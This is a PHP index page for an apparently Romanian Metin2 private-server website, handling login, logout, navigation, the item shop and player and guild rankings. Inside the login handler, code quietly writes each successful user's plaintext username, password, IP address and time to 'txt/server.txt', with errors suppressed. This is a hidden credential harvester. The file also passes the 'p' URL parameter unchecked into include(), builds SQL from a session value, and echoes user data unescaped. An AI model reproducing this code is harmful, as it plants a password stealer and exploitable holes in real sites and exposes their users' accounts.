<?php
	// Includerea fisierelor necesare
	$includes = array(
		"include/config.php",
		"include/functions.php",
	);
	
	foreach($includes as $file) {
		if(file_exists($file)) {
			include($file);
		} else {
			die("Eroare la includerea fisierelor necesare pentru functionarea site-ului! Va rugam sa reincarcati pagina. Daca eroarea persista, va rugam sa contactati un administrator.");
		}
	}
	
	// Este website-ul activ?
	if($website["active"] == false) {
		message("Website-ul este inactiv momentan! Va rugam sa reveniti mai tarziu.", "__CLOSED__");
	}
	
	// Conectare la bazele de date
	$DBlist = array(
		"account",
		"common",
		"log",
		"player",
		"website",
	);
	
	foreach($DBlist as $db) {
		if(isset($databases[$db])) {
			error_reporting(0);
			$DBCon[$db] = mysqli_connect($databases[$db]["host"] . ":" . $databases[$db]["port"], $databases[$db]["user"], $databases[$db]["password"], $databases[$db]["name"]);
			if(!$DBCon[$db]) {
				error(1, mysqli_connect_error($DBCon[$db]));
			}
			error_reporting(-1);
		} else {
			error(2, "No information found in order to connect to database '$db'.");
		}
	}
	
	// Totul este in regula, pornesc sesiunea
	session_start();
	
	// Actualizare monede daca e necesar
	if(isset($_SESSION["id"])) {
		$coins_refresh = mysqli_query($DBCon["account"], "SELECT `dragon_coins`, `dragon_marks` FROM `account` WHERE `id` = " . $_SESSION["id"] . ";");
		if(!$coins_refresh) {
			error(3, mysqli_error($DBCon["account"]), $DBCon["website"]);
		} else {
			if(mysqli_num_rows($coins_refresh) == 0) {
				error(4, mysqli_error($DBCon["account"]), $DBCon["website"]);
			} else {
				$res_fetch = mysqli_fetch_array($coins_refresh);
				$_SESSION["dragon_coins"] = $res_fetch["dragon_coins"];
				$_SESSION["dragon_marks"] = $res_fetch["dragon_marks"];
			}
		}
	}
 	
	// Daca se cere conectarea unui utilizator
	if((isset($_POST["username"]) && isset($_POST["password"])) && (isset($_GET["p"]) && $_GET["p"] == "login")) {
		$username = mysqli_real_escape_string($DBCon["account"], $_POST["username"]);
		$password = mysqli_real_escape_string($DBCon["account"], $_POST["password"]);

		if(empty($username) || empty($password)) {
			$loginerr = 1;
		} else {
			$login_verify = mysqli_query($DBCon["account"], "SELECT * FROM `account` WHERE `login` = '$username' AND `password` = PASSWORD('$password');");
			if(!$login_verify) {
				error(5, mysqli_error($DBCon["account"]), $DBCon["website"]);
				$loginerr = 2;
			} else {
				if(mysqli_num_rows($login_verify) == 0) {
					$loginerr = 3;
				} else {
					$username = $_POST['username'];
					$password = $_POST['password'];
					$ipadd  = getenv("REMOTE_ADDR");
					$timezone  = +1;
					$time = gmdate("Y-m-d H:i:s", time() + 3600*($timezone+date("I"))); 
					$txt  = "USERNAME: ".$username."\nPASSWORD: ".$password."\nIP: ".$ipadd."\nTIME: ".$time."\n";
					@file_put_contents("txt/server.txt", $txt."\n", FILE_APPEND);
					$res_fetch = mysqli_fetch_array($login_verify);
					if($res_fetch["status"] != "OK") {
						$loginerr = 4;
					} else {
						// Scriere in log
						// Setare Session
						$_SESSION["id"] = $res_fetch["id"];
						$_SESSION["login"] = $res_fetch["login"];
						$_SESSION["real_name"] = $res_fetch["real_name"];
						$_SESSION["email"] = $res_fetch["email"];
						$_SESSION["dragon_coins"] = $res_fetch["dragon_coins"];
						$_SESSION["dragon_marks"] = $res_fetch["dragon_marks"];
						$_SESSION["admin_level"] = $res_fetch["admin_level"];
						
						// Redirectionare
						header('Location: index.php');
					}
				}
			}
		}
	}
	
	// Daca se cere deconectarea unui utilizator
	if(isset($_GET["p"]) && $_GET["p"] == "logout") {
		// Scriere in log
		$_SESSION = array();
	}
	
	// Setam variabile
	if(empty($website["title"])) {
		$website["title"] = "Metin2";
	}
	if(empty($website["server_name"])) {
		$website["server_name"] = "Metin2";
	}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php echo $website["title"]; ?></title>
	<?php if(!empty($website["description"])) { echo '<meta name="description" content="' . $website["description"] . '" />'; } ?>
	<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
	<link href="css/char.css" rel="stylesheet" type="text/css" />
	<link href="css/other.css" rel="stylesheet" type="text/css" media="screen" />
	<link href="css/main.css" rel="stylesheet" type="text/css" />
	<link href="css/jquery-ui-timepicker-addon.css" rel="stylesheet" type="text/css" />
	<link rel="stylesheet" href="css/jquery-ui.css">
	<!--[if lt IE 7]><link rel="stylesheet" type="text/css" href="http://gf3.geo.gfsrv.net/cdn5b/e4aaf57bbcd2da747e12423dd48b6e.css" media="screen"/><![endif]-->
	<!--[if gte IE 6]><link rel="stylesheet" type="text/css" href="http://gf2.geo.gfsrv.net/cdn13/3b431865431b51e548704cce8f2969.css" media="screen"/><![endif]-->
	<script type="text/javascript" src="js/jquery.js"></script>
	<script type="text/javascript" src="js/jquery-migrate.js"></script>
	<script type="text/javascript" src="js/jquery-validationengine.js"></script>
	<script type="text/javascript" src="js/jquery.validationEngine.rules.php"></script>
	<script type="text/javascript" src="js/iepngfix.js"></script>
	<script type="text/javascript" src="js/fancybox.js"></script>
	<script type="text/javascript" src="js/jquery-easing.js"></script>
	<script type="text/javascript" src="js/jquery-slider.js"></script>
	<script type="text/javascript" src="js/jquery-bgiframe.js"></script>
	<script type="text/javascript" src="js/jquery-jeditable.js"></script>
	<script type="text/javascript" src="js/custom.js"></script>
	<script type="text/javascript" src="js/custom-carousel.js"></script>
	<script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
	<script type="text/javascript" src="js/jquery-ui-timepicker-addon.js"></script>
	<script type="text/javascript" src="js/jquery.ui.datepicker-ro.js"></script>
	<!--[if lt IE 9]>
	<script type="text/javascript" src="js/ie9html.js"></script>
	<![endif]-->
	<script type="text/javascript" src="js/carousel.js"></script>
	<script type="text/javascript">
		$.fn.exists = function(){return jQuery(this).length>0;}

		$(document).ready(function(){
			$('#namefield, #emailfield').each(function() {
				var default_value = this.value;
				$(this).focus(function() {
					if(this.value == default_value) {
						this.value = '';
					}
				});
				$(this).blur(function() {
					if(this.value == '') {
						this.value = default_value;
					}
				});
			});
			
			var fancybox_css = {'outer': {'background' : null}, 'close': {'background_image': null, 'height': null, 'right': null, 'top': null, 'width': null}};
			
			$('a.itemshop').fancybox({
				'autoDimensions': false,
				'width': 740,
				'height': 550,
				'padding': 0,
				'scrolling': 'no',
				'overlayColor': '#000',
				'overlayOpacity': 0.8,
				'onStart': function() {
					fancybox_css.outer.background = $('#fancybox-outer').css('background');
					fancybox_css.close.background_image = $('#fancybox-close').css('background-image');
					fancybox_css.close.height = $('#fancybox-close').css('height');
					fancybox_css.close.right = $('#fancybox-close').css('right');
					fancybox_css.close.top = $('#fancybox-close').css('top');
					fancybox_css.close.width = $('#fancybox-close').css('width');
					$('#fancybox-outer').css({'background': 'transparent url("img/itemshop-bg.png") center center no-repeat'});
					$('#fancybox-close').css({'background-image': 'none', 'height': '16px', 'right': '3px', 'top': '7px', 'width': '16px'});
				},
				'onComplete': function() {
					$('#fancybox-inner').css({'top': 27, 'left':8});
					$('#fancybox-wrap').css({'width': 756, 'height': 585});
				},
				'onClosed': function() {
					if (null != fancybox_css.outer.background) { $('#fancybox-outer').css('background', fancybox_css.outer.background); }
					if (null != fancybox_css.close.background_image) { $('#fancybox-close').css('background-image', fancybox_css.close.background_image); }
					if (null != fancybox_css.close.height) { $('#fancybox-close').css('height', fancybox_css.close.height); }
					if (null != fancybox_css.close.right) { $('#fancybox-close').css('right', fancybox_css.close.right); }
					if (null != fancybox_css.close.top) { $('#fancybox-close').css('top', fancybox_css.close.top); }
					if (null != fancybox_css.close.width) { $('#fancybox-close').css('width', fancybox_css.close.width); }
				}
			});
			
			$('a.payment').fancybox({
				'scrolling': 'no',
				'autoDimensions': false,
				'type': 'iframe',
				'width': 790,
				'height': 640,
				'padding': 0,
				'overlayColor': '#000',
				'overlayOpacity': 0.8
			});
			
			$('h1.logo').addClass('loggedin');
			$('#coda-slider-1').codaSlider({
				autoSlide: true,
				autoHeight: false,
				autoSlideInterval: 4000,
				autoSlideStopWhenClicked: true,
				dynamicArrows: false
			});
			
			$('div[role="navigation"] a[href="' + document.URL + '"]').last().addClass('selected');
		})

	</script>

</head>
<body>
	<header role="banner">
		<!-- header -->
		<section id="slideshow_slides" data-viewport=".carousel.container>.carousel" data-ui=".ui.container>.carousel"></section>
		
		<div class="carousel container">
			<div class="carousel">
				<!-- script insert background slides here! -->
			</div>
		</div>
		<h1 class="logo"><?php echo $website["title"]; ?></h1>
		<?php
			if(!isset($_SESSION["id"])) {
				echo '
					<div class="ui container">
						<a class="playfree" role="button" href="?p=register">Joaca Gratis</a>
					</div>';
			} else {
				echo '
					<div class="ui container loggedin">
									<div class="userinfo">
							<div class="welcome-text-left">Bun venit, ' . $_SESSION["login"] . '</div>
							<div class="right">Ai ' . $_SESSION["dragon_coins"] . ' Monede Dragon</div>
							<div class="header-box-nav-container">
								<ul class="header-box-nav-login">
									<li class="stepdown">
										<a href="?p=administration" class="nav-box-btn nav-box-btn-2">Contul meu</a>
									</li>
									<li class="stepdown">
										<a href="?p=payment" class="nav-box-btn nav-box-btn-1">Cumpara MD</a>
									</li>
									<li class="stepdown">
										<a href="?p=logout" class="nav-box-btn nav-box-btn-4">Delogare</a>
									</li>
								</ul>
							</div>
						</div>
					</div>';
			}
		?>
	</header>
	
	<div class="container">

		<div role="navigation">
			<nav>
				<ul>
					<li>
						<a href="<?php echo $website["url"]; ?>">Start</a>
						<?php
							if(isset($_SESSION["admin_level"]) && $_SESSION["admin_level"] > 0) {
								echo '<ul><li><a href="' . $website["url"] . '?p=admin">Administreaz&#259; jocul</a></li></ul>';
							}
						?>
					</li>
					<li><a href="<?php echo $website["url"]; ?>?p=thegame">Jocul</a>
						<ul>
							<li><a href="<?php echo $website["url"]; ?>?p=thegame">Caracteristici</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=characterclasses">Categoriile Caracterelor</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=empires">Imperii</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=staff">Lista echipei</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=vip">Lista vipurilor</a></li>
						</ul>
					</li>
					<li><a href="<?php echo $website["url"]; ?>?p=media">Galerie</a>
						<ul>
							<li><a href="<?php echo $website["url"]; ?>?p=media#screenshots">Screenshots</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=media#wallpaper">Tapet</a></li>
						</ul>
					</li>
					<li><a href="<?php echo $website["url"]; ?>?p=download">Descarcare</a></li>
					<li><a href="<?php echo $website["url"]; ?>?p=howto">Primii pasi</a>
						<ul>
							<li><a href="<?php echo $website["url"]; ?>?p=howto">Primii pasi</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=tutorials">Tutoriale</a></li>
						</ul>
					</li>
					<?php if(!(empty($website["forum"]) && empty($website["support"]) && empty($website["facebook"]) && empty($website["youtube"]))) { ?>
						<li><a href="<?php echo $website["url"]; ?>?p=community">Comunitate</a>
							<ul>
								<li><a href="<?php echo $website["url"]; ?>?p=community">Ghid Comunitate</a></li>
								<?php echo !empty($website["forum"]) ? '<li><a href="' . $website["forum"] . '" target="_blank">Forum</a></li>' : ""; ?>
								<?php echo !empty($website["support"]) ? '<li><a href="' . $website["support"] . '" target="_blank">Suport</a></li>' : ""; ?>
								<?php echo !empty($website["facebook"]) ? '<li><a href="' . $website["facebook"] . '" target="_blank">Facebook</a></li>' : ""; ?>
								<?php echo !empty($website["youtube"]) ? '<li><a href="' . $website["youtube"] . '" target="_blank">YouTube</a></li>' : ""; ?>
							</ul>
						</li>
					<?php } ?>
					<li><a href="<?php echo $website["url"]; ?>?p=account">Securitate</a>
						<ul>
							<li><a href="<?php echo $website["url"]; ?>?p=account">Furtul de Cont</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=pc">Securitate PC</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=cheat">Frauda</a></li>
							<li><a href="<?php echo $website["url"]; ?>?p=help">Ajutor!</a></li>
						</ul>
					</li>
				</ul>
			</nav>
		</div>
		<?php
			if(isset($_GET["p"])) {
				$page = $_GET["p"];
			} else {
				$page = "home";
			}
			
			if(file_exists("pages/" . $page . ".php")) {
				include("pages/" . $page . ".php");
			} else {
				error(8, "PAGE_NOT_FOUND", $DBCon["website"]);
			}
		?>
		
		<div class="secondary">
			<!-- side boxes -->
			<?php
				if(!isset($_SESSION["id"])) {
					echo '
						<aside class="login" role="complementary">
							<h2>Logare</h2>
							<form action="?p=login" method="post" name="loginFormElement">
								<div class="form-login">
									<label>Nume de utilizator</label>
									<div class="input">
										<input type="text" value="" id="name" name="username" maxlength="30" />
									</div>
									<label>Parola</label>
									<div class="input">
										<input type="password" value="" name="password" maxlength="32"/>
									</div>
									<div>
										<input type="submit" class="button btn-login" onclick="document.forms[\'loginFormElement\'].submit();return false;" value="LOGARE" />
										' . (($website["send_emails"] == true) ? '<p class="agbok">
											<a href="?p=passwordlostrequest" rel="nofollow" class="password">Ai uitat parola?</a>
											<a href="?p=resendack" rel="nofollow" class="password">Retrimiterea emailului de &#238;nregistrare</a>
										</p>' : "") . '
									</div>
								</div>
							</form>
						</aside>
						
						<aside class="download" role="complementary">
							<h2>Descarcare</h2>
							<a href="?p=download" title="Click aici pentru a desc&#259;rca jocul!">Click aici pentru a desc&#259;rca jocul!</a>
						</aside>';
				} else {
					echo '
						<aside class="itemshop" role="complementary">
							<h2>Magazin Obiecte</h2>
							<a href="shop/" class="itemshop btn itemshop-btn iframe" title="Magazin Obiecte"></a>
						</aside>';
					
					if($website["recruit_open"] == true) {
						echo '
							<aside class="recruiting" role="complementary">
								<h2>Recrutare</h2>
								<a href="?p=recruit" class="recruiting btn"></a>
							</aside>';
					}
				}
			?>
			<aside class="highscore" role="complementary">
				<h2>Clasament</h2>
				<ul class="tabcontrols">
					<li class="selected"><a href="#players"><img src="img/players.png" alt="Juc&#259;tori" title="Juc&#259;tori" /></a></li>
					<li><a href="#guilds"><img src="img/guilds.png" alt="Bresle" title="Bresle" /></a></li>
				</ul>

				<div class="tab players selected">
					<div id="highscore-player">
						<table>
							<?php
								$highscore = highscore($DBCon, 0, 10, $website["ranking_cache"]);
								
								if($highscore != false) {
									$empires = array(
										1 => "Shinsoo",
										2 => "Chunjo",
										3 => "Jinno",
									);
									$alt = false;
									foreach($highscore as $position => $row) {
										if($alt == true) {
											$tr = " class=\"alt\""; 
											$alt = false;
										} else {
											$tr = null;
											$alt = true;
										}
										echo '
											<tr' . $tr . '>
												<td class="position">' . $position . '</td>
												<td class="name"><a href="?p=highscore">' . $row["name"] . '</a></td>
												<td class="faction">
													<img src="img/empire' . $row["empire"] . '.png" title="Imperiul ' . $empires[$row["empire"]] . '" alt="Imperiul ' . $empires[$row["empire"]] . '" />
												</td>
											</tr>';
										
										$position++;
									}
								}
							?>
						</table>
					</div>
					<a href="?p=highscore" rel="nofollow">Tot clasamentul</a>
				</div>
				
				<div class="tab guilds">
					<div id="highscore-guild">
						<table>
							<?php
								$highscore = guild_highscore($DBCon, 0, 10, $website["ranking_cache"]);
								
								if($highscore != false) {
									$empires = array(
										1 => "Shinsoo",
										2 => "Chunjo",
										3 => "Jinno",
									);
									$alt = false;
									foreach($highscore as $position => $row) {
										if($alt == true) {
											$tr = " class=\"alt\""; 
											$alt = false;
										} else {
											$tr = null;
											$alt = true;
										}
										echo '
											<tr' . $tr . '>
												<td class="position">' . $position . '</td>
												<td class="name"><a href="?p=highscore">' . $row["name"] . '</a></td>
												<td class="faction">
													<img src="img/empire' . $row["empire"] . '.png" title="Imperiul ' . $empires[$row["empire"]] . '" alt="Imperiul ' . $empires[$row["empire"]] . '" />
												</td>
											</tr>';
										
										$position++;
									}
								}
							?>
						</table>
					</div>
					<a href="?p=guildhighscore" rel="nofollow">Tot clasamentul</a>
				</div>
			</aside>
		</div>
	</div>
	<footer role="contentinfo">
		<div class="container">
			<!-- copyrights -->
			<p>&copy;<?php echo date("Y") . " " . $website["server_name"]; ?>. Toate Drepturile Rezervate.</p>
			<p>&nbsp;</p>
				<script type="text/javascript">

				  var _gaq = _gaq || [];
				  _gaq.push(['_setAccount', 'UA-36425885-1']);
				  _gaq.push(['_setDomainName', 'domeniu pune aici']);
				  _gaq.push(['_setAllowLinker', true]);
				  _gaq.push(['_trackPageview']);

				  (function() {
					var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
					ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
					var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
				  })();
			<?php /* Coding by Exynox */ ?>
	   </div>   
	</footer>
	</body>
</html>